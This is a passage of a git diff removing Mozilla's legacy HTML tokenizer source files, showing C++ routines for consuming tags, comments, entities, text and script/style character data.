- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeComment(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the "!"
- aScanner.GetChar(aChar);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_comment, eHTMLTag_comment);
- nsresult result = NS_OK;
- if (aToken) {
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- if (kNotAComment == result) {
- // AddToken has IF_FREE()'d our token, so...
- result = ConsumeText(aToken, aScanner);
- }
-
- return result;
-}
-
-/**
- * This method is called just after a known text char has
- * been consumed and we should read a text run. Note: we actually ignore the
- * first character of the text run so that we can consume invalid markup
- * as text.
- *
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeText(CToken*& aToken, nsScanner& aScanner)
-{
- nsresult result = NS_OK;
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- CTextToken* theToken =
- (CTextToken*)theAllocator->CreateTokenOfType(eToken_text, eHTMLTag_text);
- if (theToken) {
- PRUnichar ch = '\0';
- result = theToken->Consume(ch, aScanner, mFlags);
- if (NS_FAILED(result)) {
- if (0 == theToken->GetTextLength()) {
- IF_FREE(aToken, mTokenAllocator);
- aToken = nullptr;
- } else {
- result = NS_OK;
- }
- }
-
- aToken = theToken;
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- return result;
-}
-
-/**
- * This method is called just after a "<!" has been consumed.
- * NOTE: Here we might consume DOCTYPE and "special" markups.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeSpecialMarkup(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the "!"
- aScanner.GetChar(aChar);
-
- nsresult result = NS_OK;
- nsAutoString theBufCopy;
- aScanner.Peek(theBufCopy, 20);
- ToUpperCase(theBufCopy);
- int32_t theIndex = theBufCopy.Find("DOCTYPE", false, 0, 0);
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
-
- if (theIndex == kNotFound) {
- if ('[' == theBufCopy.CharAt(0)) {
- aToken = theAllocator->CreateTokenOfType(eToken_cdatasection,
- eHTMLTag_comment);
- } else if (StringBeginsWith(theBufCopy, NS_LITERAL_STRING("ELEMENT")) ||
- StringBeginsWith(theBufCopy, NS_LITERAL_STRING("ATTLIST")) ||
- StringBeginsWith(theBufCopy, NS_LITERAL_STRING("ENTITY")) ||
- StringBeginsWith(theBufCopy, NS_LITERAL_STRING("NOTATION"))) {
- aToken = theAllocator->CreateTokenOfType(eToken_markupDecl,
- eHTMLTag_markupDecl);
- } else {
- aToken = theAllocator->CreateTokenOfType(eToken_comment,
- eHTMLTag_comment);
- }
- } else {
- aToken = theAllocator->CreateTokenOfType(eToken_doctypeDecl,
- eHTMLTag_doctypeDecl);
- }
-
- if (aToken) {
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- if (result == kNotAComment) {
- result = ConsumeText(aToken, aScanner);
- }
-
- return result;
-}
-
-/**
- * This method is called just after a newline has been consumed.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeNewline(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the newline character
- aScanner.GetChar(aChar);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_newline, eHTMLTag_newline);
- nsresult result = NS_OK;
- if (aToken) {
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- return result;
-}
-
-
-/**
- * This method is called just after a <? has been consumed.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeProcessingInstruction(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the "?"
- aScanner.GetChar(aChar);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_instruction,
- eHTMLTag_unknown);
- nsresult result = NS_OK;
- if (aToken) {
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- return result;
-}
diff --git a/parser/htmlparser/src/nsHTMLTokenizer.h b/parser/htmlparser/src/nsHTMLTokenizer.h
deleted file mode 100644
index e75d4d969..000000000
--- a/parser/htmlparser/src/nsHTMLTokenizer.h
+++ /dev/null
@@ -1,76 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- */
-
-#ifndef __NSHTMLTOKENIZER
-#define __NSHTMLTOKENIZER
-
-#include "nsISupports.h"
-#include "nsITokenizer.h"
-#include "nsIDTD.h"
-#include "prtypes.h"
-#include "nsDeque.h"
-#include "nsScanner.h"
-#include "nsHTMLTokens.h"
-#include "nsDTDUtils.h"
-
-/***************************************************************
- Notes:
- ***************************************************************/
-
-#ifdef _MSC_VER
-#pragma warning( disable : 4275 )
-#endif
-
-class nsHTMLTokenizer : public nsITokenizer {
-public:
-
- NS_DECL_ISUPPORTS
- NS_DECL_NSITOKENIZER
- nsHTMLTokenizer(nsDTDMode aParseMode = eDTDMode_quirks,
- eParserDocType aDocType = eHTML_Quirks,
- eParserCommands aCommand = eViewNormal,
- uint32_t aFlags = 0);
- virtual ~nsHTMLTokenizer();
-
- static uint32_t GetFlags(const nsIContentSink* aSink);
-
-protected:
-
- nsresult ConsumeTag(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner,bool& aFlushTokens);
- nsresult ConsumeStartTag(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner,bool& aFlushTokens);
- nsresult ConsumeEndTag(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeAttributes(PRUnichar aChar, CToken* aToken, nsScanner& aScanner);
- nsresult ConsumeEntity(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeWhitespace(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeComment(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeNewline(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeText(CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeSpecialMarkup(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
- nsresult ConsumeProcessingInstruction(PRUnichar aChar,CToken*& aToken,nsScanner& aScanner);
-
- nsresult ScanDocStructure(bool aIsFinalChunk);
-
- static void AddToken(CToken*& aToken,nsresult aResult,nsDeque* aDeque,nsTokenAllocator* aTokenAllocator);
-
- nsDeque mTokenDeque;
- bool mIsFinalChunk;
- nsTokenAllocator* mTokenAllocator;
- // This variable saves the position of the last tag we inspected in
- // ScanDocStructure. We start scanning the general well-formedness of the
- // document starting at this position each time.
- int32_t mTokenScanPos;
- uint32_t mFlags;
-};
-
-#endif
-
-
diff --git a/parser/htmlparser/src/nsHTMLTokens.cpp b/parser/htmlparser/src/nsHTMLTokens.cpp
deleted file mode 100644
index e018eea71..000000000
--- a/parser/htmlparser/src/nsHTMLTokens.cpp
+++ /dev/null
@@ -1,2362 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set ts=2 sw=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-#include <ctype.h>
-#include <time.h>
-#include <stdio.h>
-#include "nsScanner.h"
-#include "nsToken.h"
-#include "nsHTMLTokens.h"
-#include "prtypes.h"
-#include "nsDebug.h"
-#include "nsHTMLTags.h"
-#include "nsHTMLEntities.h"
-#include "nsCRT.h"
-#include "nsReadableUtils.h"
-#include "nsUnicharUtils.h"
-#include "nsScanner.h"
-#include "nsParserConstants.h"
-
-static const PRUnichar sUserdefined[] = {'u', 's', 'e', 'r', 'd', 'e', 'f',
- 'i', 'n', 'e', 'd', 0};
-
-static const PRUnichar kAttributeTerminalChars[] = {
- PRUnichar('&'), PRUnichar('\t'), PRUnichar('\n'),
- PRUnichar('\r'), PRUnichar(' '), PRUnichar('>'),
- PRUnichar(0)
-};
-
-static void AppendNCR(nsSubstring& aString, int32_t aNCRValue);
-/**
- * Consumes an entity from aScanner and expands it into aString.
- *
- * @param aString The target string to append the entity to.
- * @param aScanner Controller of underlying input source
- * @param aIECompatible Controls whether we respect entities with values >
- * 255 and no terminating semicolon.
- * @param aFlag If NS_IPARSER_FLAG_VIEW_SOURCE do not reduce entities...
- * @return error result
- */
-static nsresult
-ConsumeEntity(nsScannerSharedSubstring& aString,
- nsScanner& aScanner,
- bool aIECompatible,
- int32_t aFlag)
-{
- nsresult result = NS_OK;
-
- PRUnichar ch;
- result = aScanner.Peek(ch, 1);
-
- if (NS_SUCCEEDED(result)) {
- PRUnichar amp = 0;
- int32_t theNCRValue = 0;
- nsAutoString entity;
-
- if (nsCRT::IsAsciiAlpha(ch) && !(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = CEntityToken::ConsumeEntity(ch, entity, aScanner);
- if (NS_SUCCEEDED(result)) {
- theNCRValue = nsHTMLEntities::EntityToUnicode(entity);
- PRUnichar theTermChar = entity.Last();
- // If an entity value is greater than 255 then:
- // Nav 4.x does not treat it as an entity,
- // IE treats it as an entity if terminated with a semicolon.
- // Resembling IE!!
-
- nsSubstring &writable = aString.writable();
- if (theNCRValue < 0 ||
- (aIECompatible && theNCRValue > 255 && theTermChar != ';')) {
- // Looks like we're not dealing with an entity
- writable.Append(kAmpersand);
- writable.Append(entity);
- } else {
- // A valid entity so reduce it.
- writable.Append(PRUnichar(theNCRValue));
- }
- }
- } else if (ch == kHashsign && !(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = CEntityToken::ConsumeEntity(ch, entity, aScanner);
- if (NS_SUCCEEDED(result)) {
- nsSubstring &writable = aString.writable();
- if (result == NS_HTMLTOKENS_NOT_AN_ENTITY) {
- // Looked like an entity but it's not
- aScanner.GetChar(amp);
- writable.Append(amp);
- result = NS_OK;
- } else {
- nsresult err;
- theNCRValue = entity.ToInteger(&err, kAutoDetect);
- AppendNCR(writable, theNCRValue);
- }
- }
- } else {
- // What we thought as entity is not really an entity...
- aScanner.GetChar(amp);
- aString.writable().Append(amp);
- }
- }
-
- return result;
-}
-
-/*
- * This general purpose method is used when you want to
- * consume attributed text value.
- * Note: It also reduces entities.
- *
- * @param aNewlineCount -- the newline count to increment when hitting newlines
- * @param aScanner -- controller of underlying input source
- * @param aTerminalChars -- characters that stop consuming attribute.
- * @param aAllowNewlines -- whether to allow newlines in the value.
- * XXX it would be nice to roll this info into
- * aTerminalChars somehow....
- * @param aIECompatEntities IE treats entities with values > 255 as
- * entities only if they're terminated with a
- * semicolon. This is true to follow that behavior
- * and false to treat all values as entities.
- * @param aFlag - contains information such as |dtd mode|view mode|doctype|etc...
- * @return error result
- */
-static nsresult
-ConsumeUntil(nsScannerSharedSubstring& aString,
- int32_t& aNewlineCount,
- nsScanner& aScanner,
- const nsReadEndCondition& aEndCondition,
- bool aAllowNewlines,
- bool aIECompatEntities,
- int32_t aFlag)
-{
- nsresult result = NS_OK;
- bool done = false;
-
- do {
- result = aScanner.ReadUntil(aString, aEndCondition, false);
- if (NS_SUCCEEDED(result)) {
- PRUnichar ch;
- aScanner.Peek(ch);
- if (ch == kAmpersand) {
- result = ConsumeEntity(aString, aScanner, aIECompatEntities, aFlag);
- } else if (ch == kCR && aAllowNewlines) {
- aScanner.GetChar(ch);
- result = aScanner.Peek(ch);
- if (NS_SUCCEEDED(result)) {
- nsSubstring &writable = aString.writable();
- if (ch == kNewLine) {
- writable.AppendLiteral("\r\n");
- aScanner.GetChar(ch);
- } else {
- writable.Append(PRUnichar('\r'));
- }
- ++aNewlineCount;
- }
- } else if (ch == kNewLine && aAllowNewlines) {
- aScanner.GetChar(ch);
- aString.writable().Append(PRUnichar('\n'));
- ++aNewlineCount;
- } else {
- done = true;
- }
- }
- } while (NS_SUCCEEDED(result) && !done);
-
- return result;
-}
-
-/**************************************************************
- And now for the token classes...
- **************************************************************/
-
-/**
- * Constructor from tag id
- */
-CHTMLToken::CHTMLToken(eHTMLTags aTag)
- : CToken(aTag)
-{
-}
-
-
-CHTMLToken::~CHTMLToken()
-{
-}
-
-/*
- * Constructor from tag id
- */
-CStartToken::CStartToken(eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
- mEmpty = false;
- mContainerInfo = eFormUnknown;
-#ifdef DEBUG
- mAttributed = false;
-#endif
-}
-
-CStartToken::CStartToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mEmpty = false;
- mContainerInfo = eFormUnknown;
- mTextValue.Assign(aName);
-#ifdef DEBUG
- mAttributed = false;
-#endif
-}
-
-CStartToken::CStartToken(const nsAString& aName, eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
- mEmpty = false;
- mContainerInfo = eFormUnknown;
- mTextValue.Assign(aName);
-#ifdef DEBUG
- mAttributed = false;
-#endif
-}
-
-/*
- * This method returns the typeid (the tag type) for this token.
- */
-int32_t
-CStartToken::GetTypeID()
-{
- if (eHTMLTag_unknown == mTypeID) {
- mTypeID = nsHTMLTags::LookupTag(mTextValue);
- }
- return mTypeID;
-}
-
-int32_t
-CStartToken::GetTokenType()
-{
- return eToken_start;
-}
-
-void
-CStartToken::SetEmpty(bool aValue)
-{
- mEmpty = aValue;
-}
-
-bool
-CStartToken::IsEmpty()
-{
- return mEmpty;
-}
-
-/*
- * Consume the identifier portion of the start tag
- */
-nsresult
-CStartToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- // If you're here, we've already Consumed the < char, and are
- // ready to Consume the rest of the open tag identifier.
- // Stop consuming as soon as you see a space or a '>'.
- // NOTE: We don't Consume the tag attributes here, nor do we eat the ">"
-
- nsresult result = NS_OK;
- nsScannerSharedSubstring tagIdent;
-
- if (aFlag & NS_IPARSER_FLAG_HTML) {
- result = aScanner.ReadTagIdentifier(tagIdent);
- mTypeID = (int32_t)nsHTMLTags::LookupTag(tagIdent.str());
- // Save the original tag string if this is user-defined or if we
- // are viewing source
- if (eHTMLTag_userdefined == mTypeID ||
- (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- mTextValue = tagIdent.str();
- }
- } else {
- result = aScanner.ReadTagIdentifier(tagIdent);
- mTextValue = tagIdent.str();
- mTypeID = nsHTMLTags::LookupTag(mTextValue);
- }
-
- if (NS_SUCCEEDED(result) && !(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
-
- if (kEOF == result && !aScanner.IsIncremental()) {
- // Take what we can get.
- result = NS_OK;
- }
-
- return result;
-}
-
-const nsSubstring&
-CStartToken::GetStringValue()
-{
- if (eHTMLTag_unknown < mTypeID && mTypeID < eHTMLTag_text) {
- if (!mTextValue.Length()) {
- mTextValue.Assign(nsHTMLTags::GetStringValue((nsHTMLTag) mTypeID));
- }
- }
- return mTextValue;
-}
-
-void
-CStartToken::GetSource(nsString& anOutputString)
-{
- anOutputString.Truncate();
- AppendSourceTo(anOutputString);
-}
-
-void
-CStartToken::AppendSourceTo(nsAString& anOutputString)
-{
- anOutputString.Append(PRUnichar('<'));
- /*
- * Watch out for Bug 15204
- */
- if (!mTextValue.IsEmpty()) {
- anOutputString.Append(mTextValue);
- } else {
- anOutputString.Append(GetTagName(mTypeID));
- }
-
- anOutputString.Append(PRUnichar('>'));
-}
-
-CEndToken::CEndToken(eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
-}
-
-CEndToken::CEndToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mTextValue.Assign(aName);
-}
-
-CEndToken::CEndToken(const nsAString& aName, eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
- mTextValue.Assign(aName);
-}
-
-nsresult
-CEndToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- nsresult result = NS_OK;
- nsScannerSharedSubstring tagIdent;
-
- if (aFlag & NS_IPARSER_FLAG_HTML) {
- result = aScanner.ReadTagIdentifier(tagIdent);
-
- mTypeID = (int32_t)nsHTMLTags::LookupTag(tagIdent.str());
- // Save the original tag string if this is user-defined or if we
- // are viewing source
- if (eHTMLTag_userdefined == mTypeID ||
- (aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- mTextValue = tagIdent.str();
- }
- } else {
- result = aScanner.ReadTagIdentifier(tagIdent);
- mTextValue = tagIdent.str();
- mTypeID = nsHTMLTags::LookupTag(mTextValue);
- }
-
- if (NS_SUCCEEDED(result) && !(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = aScanner.SkipWhitespace(mNewlineCount);
- }
-
- if (kEOF == result && !aScanner.IsIncremental()) {
- // Take what we can get.
- result = NS_OK;
- }
-
- return result;
-}
-
-
-/*
- * Asks the token to determine the <i>HTMLTag type</i> of
- * the token. This turns around and looks up the tag name
- * in the tag dictionary.
- */
-int32_t
-CEndToken::GetTypeID()
-{
- if (eHTMLTag_unknown == mTypeID) {
- mTypeID = nsHTMLTags::LookupTag(mTextValue);
- switch (mTypeID) {
- case eHTMLTag_dir:
- case eHTMLTag_menu:
- mTypeID = eHTMLTag_ul;
- break;
-
- default:
- break;
- }
- }
-
- return mTypeID;
-}
-
-int32_t
-CEndToken::GetTokenType()
-{
- return eToken_end;
-}
-
-const nsSubstring&
-CEndToken::GetStringValue()
-{
- if (eHTMLTag_unknown < mTypeID && mTypeID < eHTMLTag_text) {
- if (!mTextValue.Length()) {
- mTextValue.Assign(nsHTMLTags::GetStringValue((nsHTMLTag) mTypeID));
- }
- }
- return mTextValue;
-}
-
-void
-CEndToken::GetSource(nsString& anOutputString)
-{
- anOutputString.Truncate();
- AppendSourceTo(anOutputString);
-}
-
-void
-CEndToken::AppendSourceTo(nsAString& anOutputString)
-{
- anOutputString.AppendLiteral("</");
- if (!mTextValue.IsEmpty()) {
- anOutputString.Append(mTextValue);
- } else {
- anOutputString.Append(GetTagName(mTypeID));
- }
-
- anOutputString.Append(PRUnichar('>'));
-}
-
-CTextToken::CTextToken()
- : CHTMLToken(eHTMLTag_text)
-{
-}
-
-CTextToken::CTextToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_text)
-{
- mTextValue.Rebind(aName);
-}
-
-int32_t
-CTextToken::GetTokenType()
-{
- return eToken_text;
-}
-
-int32_t
-CTextToken::GetTextLength()
-{
- return mTextValue.Length();
-}
-
-nsresult
-CTextToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- static const PRUnichar theTerminalsChars[] =
- { PRUnichar('\n'), PRUnichar('\r'), PRUnichar('&'), PRUnichar('<'),
- PRUnichar(0) };
- static const nsReadEndCondition theEndCondition(theTerminalsChars);
- nsresult result = NS_OK;
- bool done = false;
- nsScannerIterator origin, start, end;
-
- // Start scanning after the first character, because we know it to
- // be part of this text token (we wouldn't have come here if it weren't)
- aScanner.CurrentPosition(origin);
- start = origin;
- aScanner.EndReading(end);
-
- NS_ASSERTION(start != end, "Calling CTextToken::Consume when already at the "
- "end of a document is a bad idea.");
-
- aScanner.SetPosition(++start);
-
- while (NS_OK == result && !done) {
- result = aScanner.ReadUntil(start, end, theEndCondition, false);
- if (NS_OK == result) {
- result = aScanner.Peek(aChar);
-
- if (NS_OK == result && (kCR == aChar || kNewLine == aChar)) {
- switch (aChar) {
- case kCR:
- {
- // It's a carriage return. See if this is part of a CR-LF pair (in
- // which case we need to treat it as one newline). If we're at the
- // edge of a packet, then leave the CR on the scanner, since it
- // could still be part of a CR-LF pair. Otherwise, it isn't.
- PRUnichar theNextChar;
- result = aScanner.Peek(theNextChar, 1);
-
- if (result == kEOF && aScanner.IsIncremental()) {
- break;
- }
-
- if (NS_SUCCEEDED(result)) {
- // Actually get the carriage return.
- aScanner.GetChar(aChar);
- }
-
- if (kLF == theNextChar) {
- // If the "\r" is followed by a "\n", don't replace it and let
- // it be ignored by the layout system.
- end.advance(2);
- aScanner.GetChar(theNextChar);
- } else {
- // If it is standalone, replace the "\r" with a "\n" so that it
- // will be considered by the layout system.
- aScanner.ReplaceCharacter(end, kLF);
- ++end;
- }
- ++mNewlineCount;
- break;
- }
- case kLF:
- aScanner.GetChar(aChar);
- ++end;
- ++mNewlineCount;
- break;
- }
- } else {
- done = true;
- }
- }
- }
-
- // Note: This function is only called from nsHTMLTokenizer::ConsumeText. If
- // we return an error result from the final buffer, then it is responsible
- // for turning it into an NS_OK result.
- aScanner.BindSubstring(mTextValue, origin, end);
-
- return result;
-}
-
-/*
- * Consume as much clear text from scanner as possible.
- * The scanner is left on the < of the perceived end tag.
- *
- * @param aChar -- last char consumed from stream
- * @param aConservativeConsume -- controls our handling of content with no
- * terminating string.
- * @param aIgnoreComments -- whether or not we should take comments into
- * account in looking for the end tag.
- * @param aScanner -- controller of underlying input source
- * @param aEndTagname -- the terminal tag name.
- * @param aFlag -- dtd modes and such.
- * @param aFlushTokens -- true if we found the terminal tag.
- * @return error result
- */
-nsresult
-CTextToken::ConsumeCharacterData(bool aIgnoreComments,
- nsScanner& aScanner,
- const nsAString& aEndTagName,
- int32_t aFlag,
- bool& aFlushTokens)
-{
- nsresult result = NS_OK;
- nsScannerIterator theStartOffset, theCurrOffset, theTermStrPos,
- theStartCommentPos, theAltTermStrPos, endPos;
- bool done = false;
- bool theLastIteration = false;
-
- aScanner.CurrentPosition(theStartOffset);
- theCurrOffset = theStartOffset;
- aScanner.EndReading(endPos);
- theTermStrPos = theStartCommentPos = theAltTermStrPos = endPos;
-
- // ALGORITHM: *** The performance is based on correctness of the document ***
- // 1. Look for a '<' character. This could be
- // a) Start of a comment (<!--),
- // b) Start of the terminal string, or
- // c) a start of a tag.
- // We are interested in a) and b). c) is ignored because in CDATA we
- // don't care for tags.
- // NOTE: Technically speaking in CDATA we should ignore the comments too!
- // But for compatibility we don't.
- // 2. Having the offset, for '<', search for the terminal string from there
- // on and record its offset.
- // 3. From the same '<' offset also search for start of a comment '<!--'.
- // If found search for end comment '-->' between the terminal string and
- // '<!--'. If you did not find the end comment, then we have a malformed
- // document, i.e., this section has a prematured terminal string Ex.
- // <SCRIPT><!-- document.write('</SCRIPT>') //--> </SCRIPT>. But record
- // terminal string's offset if this is the first premature terminal
- // string, and update the current offset to the terminal string
- // (prematured) offset and goto step 1.
- // 4. Amen...If you found a terminal string and '-->'. Otherwise goto step 1.
- // 5. If the end of the document is reached and if we still don't have the
- // condition in step 4. then assume that the prematured terminal string
- // is the actual terminal string and goto step 1. This will be our last
- // iteration. If there is no premature terminal string and we're being
- // conservative in our consumption (aConservativeConsume), then don't
- // consume anything from the scanner. Otherwise, we consume all the way
- // until the end.
-
- NS_NAMED_LITERAL_STRING(ltslash, "</");
- const nsString theTerminalString = ltslash + aEndTagName;
-
- uint32_t termStrLen = theTerminalString.Length();
- while (result == NS_OK && !done) {
- bool found = false;
- nsScannerIterator gtOffset, ltOffset = theCurrOffset;
- while (FindCharInReadable(PRUnichar(kLessThan), ltOffset, endPos) &&
- ((uint32_t)ltOffset.size_forward() >= termStrLen ||
- Distance(ltOffset, endPos) >= termStrLen)) {
- // Make a copy of the (presumed) end tag and
- // do a case-insensitive comparison
-
- nsScannerIterator start(ltOffset), end(ltOffset);
- end.advance(termStrLen);
-
- if (CaseInsensitiveFindInReadable(theTerminalString, start, end) &&
- (end == endPos || (*end == '>' || *end == ' ' ||
- *end == '\t' || *end == '\n' ||
- *end == '\r'))) {
- gtOffset = end;
- // Note that aIgnoreComments is only not set for <script>. We don't
- // want to execute scripts that aren't in the form of: <script\s.*>
- if ((end == endPos && aIgnoreComments) ||
- FindCharInReadable(PRUnichar(kGreaterThan), gtOffset, endPos)) {
- found = true;
- theTermStrPos = start;
- }
- break;
- }
- ltOffset.advance(1);
- }
-
- if (found && theTermStrPos != endPos) {
- if (!(aFlag & NS_IPARSER_FLAG_STRICT_MODE) &&
- !theLastIteration && !aIgnoreComments) {
- nsScannerIterator endComment(ltOffset);
- endComment.advance(5);
-
- if ((theStartCommentPos == endPos) &&
- FindInReadable(NS_LITERAL_STRING("<!--"), theCurrOffset,
- endComment)) {
- theStartCommentPos = theCurrOffset;
- }
-
- if (theStartCommentPos != endPos) {
- // Search for --> between <!-- and </TERMINALSTRING>.
- theCurrOffset = theStartCommentPos;
- nsScannerIterator terminal(theTermStrPos);
- if (!RFindInReadable(NS_LITERAL_STRING("-->"),
- theCurrOffset, terminal)) {
- // If you're here it means that we have a bogus terminal string.
- // Even though it is bogus, the position of the terminal string
- // could be helpful in case we hit the rock bottom.
- if (theAltTermStrPos == endPos) {
- // But we only want to remember the first bogus terminal string.
- theAltTermStrPos = theTermStrPos;
- }
-
- // We did not find '-->' so keep searching for terminal string.
- theCurrOffset = theTermStrPos;
- theCurrOffset.advance(termStrLen);
- continue;
- }
- }
- }
-
- aScanner.BindSubstring(mTextValue, theStartOffset, theTermStrPos);
- aScanner.SetPosition(ltOffset);
-
- // We found </SCRIPT> or </STYLE>...permit flushing -> Ref: Bug 22485
- aFlushTokens = true;
- done = true;
- } else {
- // We end up here if:
- // a) when the buffer runs out ot data.
- // b) when the terminal string is not found.
- if (!aScanner.IsIncremental()) {
- if (theAltTermStrPos != endPos) {
- // If you're here it means that we hit the rock bottom and therefore
- // switch to plan B, since we have an alternative terminating string.
- theCurrOffset = theAltTermStrPos;
- theLastIteration = true;
- } else {
- // Oops, We fell all the way down to the end of the document.
- done = true; // Do this to fix Bug. 35456
- result = kFakeEndTag;
- aScanner.BindSubstring(mTextValue, theStartOffset, endPos);
- aScanner.SetPosition(endPos);
- }
- } else {
- result = kEOF;
- }
- }
- }
-
- if (result == NS_OK) {
- mNewlineCount = mTextValue.CountChar(kNewLine);
- }
-
- return result;
-}
-
-/*
- * Consume as much clear text from scanner as possible. Reducing entities.
- * The scanner is left on the < of the perceived end tag.
- *
- * @param aChar -- last char consumed from stream
- * @param aConservativeConsume -- controls our handling of content with no
- * terminating string.
- * @param aScanner -- controller of underlying input source
- * @param aEndTagname -- the terminal tag name.
- * @param aFlag -- dtd modes and such.
- * @param aFlushTokens -- true if we found the terminal tag.
- * @return error result
- */
-nsresult
-CTextToken::ConsumeParsedCharacterData(bool aDiscardFirstNewline,
- bool aConservativeConsume,
- nsScanner& aScanner,
- const nsAString& aEndTagName,
- int32_t aFlag,
- bool& aFound)
-{
- // This function is fairly straightforward except if there is no terminating
- // string. If there is, we simply loop through all of the entities, reducing
- // them as necessary and skipping over non-terminal strings starting with <.
- // If there is *no* terminal string, then we examine aConservativeConsume.
- // If we want to be conservative, we backtrack to the first place in the
- // document that looked like the end of PCDATA (i.e., the first tag). This
- // is for compatibility and so we don't regress bug 42945. If we are not
- // conservative, then we consume everything, all the way up to the end of
- // the document.
-
- static const PRUnichar terminalChars[] = {
- PRUnichar('\r'), PRUnichar('\n'), PRUnichar('&'), PRUnichar('<'),
- PRUnichar(0)
- };
- static const nsReadEndCondition theEndCondition(terminalChars);
-
- nsScannerIterator currPos, endPos, altEndPos;
- uint32_t truncPos = 0;
- int32_t truncNewlineCount = 0;
- aScanner.CurrentPosition(currPos);
- aScanner.EndReading(endPos);
-
- altEndPos = endPos;
-
- nsScannerSharedSubstring theContent;
- PRUnichar ch = 0;
-
- NS_NAMED_LITERAL_STRING(commentStart, "<!--");
- NS_NAMED_LITERAL_STRING(ltslash, "</");
- const nsString theTerminalString = ltslash + aEndTagName;
- uint32_t termStrLen = theTerminalString.Length();
- uint32_t commentStartLen = commentStart.Length();
-
- nsresult result = NS_OK;
-
- // Note that if we're already at the end of the document, the ConsumeUntil
- // will fail, and we'll do the right thing.
- do {
- result = ConsumeUntil(theContent, mNewlineCount, aScanner,
- theEndCondition, true, false, aFlag);
-
- if (aDiscardFirstNewline &&
- (NS_SUCCEEDED(result) || !aScanner.IsIncremental()) &&
- !(aFlag & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- // Check if the very first character is a newline, and if so discard it.
- // Note that we don't want to discard it in view source!
- // Also note that this has to happen here (as opposed to before the
- // ConsumeUntil) because we have to expand any entities.
- // XXX It would be nice to be able to do this without calling
- // writable()!
- const nsSubstring &firstChunk = theContent.str();
- if (!firstChunk.IsEmpty()) {
- uint32_t where = 0;
- PRUnichar newline = firstChunk.First();
-
- if (newline == kCR || newline == kNewLine) {
- ++where;
-
- if (firstChunk.Length() > 1) {
- if (newline == kCR && firstChunk.CharAt(1) == kNewLine) {
- // Handle \r\n = 1 newline.
- ++where;
- }
- // Note: \n\r = 2 newlines.
- }
- }
-
- if (where != 0) {
- theContent.writable() = Substring(firstChunk, where);
- }
- }
- }
- aDiscardFirstNewline = false;
-
